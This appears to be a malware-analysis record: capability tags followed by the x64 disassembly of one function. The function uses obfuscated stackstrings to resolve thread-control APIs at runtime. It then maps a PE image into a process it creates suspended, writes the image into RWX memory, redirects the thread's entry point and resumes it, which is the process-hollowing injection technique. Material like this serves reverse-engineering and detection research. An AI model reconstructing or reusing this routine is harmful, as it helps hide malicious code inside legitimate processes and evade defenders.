Function at 0x14013f680
Capabilities:
Contain obfuscated stackstrings
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov qword [rbp - 0x58], 0xfffffffffffffffe
mov qword [rsp + 0x1f8], rbx
mov rax, qword [0x140176280]
xor rax, rsp
mov qword [rbp + 0x98], rax
mov r12, r8
mov rsi, rdx
mov r14, rcx
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x80], rax
or ebx, 0xffffffff
mov dword [rbp - 0x5c], ebx
lea rcx, [rbp - 0x5c]
call fcn.14000b350
mov r15d, eax
xor dil, dil
movzx r13d, byte [rbp + 0x110]
test r13b, r13b
je 0x14013f7b1
call fcn.140023360
mov rcx, rax
xor eax, eax
test rcx, rcx
setne al
test eax, eax
jne 0x14013f719
mov ecx, 0x80004005
call fcn.140022950
int3
mov rax, qword [rcx]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x78], rax
movzx r9d, byte [rbp + 0x108]
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x70]
mov ecx, r15d
call fcn.140017080
test al, al
je 0x14013f790
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14013f790
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov r15d, 1
mov dword [rsp + 0x20], r15d
lea r9d, [r15 + 1]
xor r8d, r8d
mov edx, 0x2000000
call fcn.140001340
test eax, eax
je 0x14013f790
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x60]
call fcn.140132350
movzx edi, dil
test eax, eax
cmovne edi, r15d
mov rax, qword [rbp - 0x78]
lea rdx, [rax - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14013f7a8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
test dil, dil
je 0x14013fbe1
mov dword [rbp + 0x44], 0x32336c65
mov word [rbp + 0x41], 0x7265
mov dword [rbp + 0x48], 0x6c6c642e
mov byte [rbp + 0x40], 0x4b
mov byte [rbp + 0x43], 0x6e
mov byte [rbp + 0x4c], 0
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x14013fbe1
mov dword [rbp + 0x6f], 0x6f436461
mov dword [rbp + 0x74], 0x74786574
mov dword [rbp + 0x68], 0x54746553
mov byte [rbp + 0x78], 0
mov word [rbp + 0x6c], 0x7268
mov byte [rbp + 0x6e], 0x65
mov byte [rbp + 0x73], 0x6e
lea rdx, [rbp + 0x68]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140185df8], rax
mov word [rbp + 0x31], 0x7365
mov word [rbp + 0x37], 0x7268
mov word [rbp + 0x34], 0x656d
mov word [rbp + 0x3a], 0x6461
mov byte [rbp + 0x39], 0x65
mov byte [rbp + 0x33], 0x75
mov byte [rbp + 0x30], 0x52
mov byte [rbp + 0x36], 0x54
mov byte [rbp + 0x3c], 0
lea rdx, [rbp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140185e00], rax
mov dword [rbp + 0x59], 0x636f7250
mov word [rbp + 0x53], 0x696d
mov dword [rbp + 0x5d], 0x737365
mov word [rbp + 0x56], 0x7461
mov word [rbp + 0x51], 0x7265
mov byte [rbp + 0x58], 0x65
mov byte [rbp + 0x55], 0x6e
mov byte [rbp + 0x50], 0x54
lea rdx, [rbp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140185e08], rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x14013fb0b
movsxd rdi, dword [r14 + 0x3c]
add rdi, r14
cmp dword [rdi], 0x4550
jne 0x14013fb0b
lea rdx, [rbp - 0x60]
mov rcx, rsi
call fcn.140009d00
movzx ecx, word [rdi + 4]
mov edx, 0x14c
mov eax, dword [rbp - 0x60]
cmp cx, dx
jne 0x14013f8e9
test eax, eax
jne 0x14013fbe1
mov edx, 0x8664
cmp cx, dx
jne 0x14013f8fc
cmp eax, 6
jne 0x14013fbe1
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp - 0x50]
call fcn.140059fd0
mov dword [rbp - 0x50], 0x68
mov dword [rbp - 0x14], 0x101
xor ebx, ebx
mov word [rbp - 0x10], bx
lea rax, [rsp + 0x68]
xor r9d, r9d
test r13b, r13b
je 0x14013f97c
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r8, r12
mov rdx, rsi
mov rcx, qword [rbp - 0x80]
call fcn.14000a500
jmp 0x14013f9ae
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], ebx
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call fcn.14012d390
test eax, eax
je 0x14013fb0d
mov edx, 8
xor ecx, ecx
lea r9d, [rdx - 4]
mov r8d, 0x1000
call fcn.140010520
mov r13, rax
mov qword [rbp - 0x78], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call fcn.14012d8c0
mov rcx, qword [rsp + 0x68]
test eax, eax
je 0x14013fb01
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
mov r9d, 8
lea r8, [rbp - 0x68]
call fcn.14000d5f0
mov rdx, qword [rbp - 0x68]
mov rcx, qword [rsp + 0x68]
call fcn.140127e70
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rbp - 0x68]
mov rcx, qword [rsp + 0x68]
call fcn.1401295f0
mov r15, rax
mov rcx, qword [rsp + 0x68]
test rax, rax
je 0x14013fb01
mov r9d, dword [rdi + 0x54]
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, rax
call fcn.140009a00
movzx eax, word [rdi + 0x14]
mov esi, ebx
cmp bx, word [rdi + 6]
jae 0x14013fab3
lea rbx, [rdi + 0x2c]
add rbx, rax
xor r13d, r13d
nop dword [rax]
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, r14
mov edx, dword [rbx - 8]
add rdx, r15
mov qword [rsp + 0x20], r13
mov rcx, qword [rsp + 0x68]
call fcn.140009a00
lea rbx, [rbx + 0x28]
inc esi
movzx eax, word [rdi + 6]
cmp esi, eax
jl 0x14013fa80
mov r13, qword [rbp - 0x78]
xor ebx, ebx
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
mov r9d, 8
lea r8, [rbp - 0x68]
mov rcx, qword [rsp + 0x68]
call fcn.140009a00
mov eax, dword [rdi + 0x28]
add rax, r15
mov qword [r13 + 0x80], rax
mov rdx, r13
mov rcx, qword [rsp + 0x70]
call qword [0x140185df8]
mov rcx, qword [rsp + 0x70]
call qword [0x140185e00]
mov bl, 1
jmp 0x14013fb0d
xor edx, edx
call qword [0x140185e08]
jmp 0x14013fb0d
xor bl, bl
cmp qword [rsp + 0x60], 0
je 0x14013fbba
mov dword [rbp + 0x20], 0x72657355
mov dword [rbp + 0x24], 0x2e766e65
mov dword [rbp + 0x28], 0x6c6c64
mov word [rbp + 0x93], 0x6f6c
mov word [rbp + 0x85], 0x796f
mov word [rbp + 0x96], 0x6b
mov dword [rbp + 0x8b], 0x6d6e6f72
mov dword [rbp + 0x80], 0x74736544
mov dword [rbp + 0x87], 0x69766e45
mov dword [rbp + 0x8f], 0x42746e65
mov byte [rbp + 0x95], 0x63
mov byte [rbp + 0x84], 0x72
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14013fbb1
lea rdx, [rbp + 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140185dc0], rax
test rax, rax
je 0x14013fbb1
mov rcx, qword [rsp + 0x60]
call rax
xor edi, edi
mov qword [rsp + 0x60], rdi
jmp 0x14013fbbc
xor edi, edi
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14013fbce
call fcn.14012f810
mov qword [rbp - 0x80], rdi
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14013fbdc
call fcn.14012f810
movzx eax, bl
jmp 0x14013fbe3
xor al, al
mov rcx, qword [rbp + 0x98]
xor rcx, rsp
call fcn.140057700
mov rbx, qword [rsp + 0x1f8]
add rsp, 0x1a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret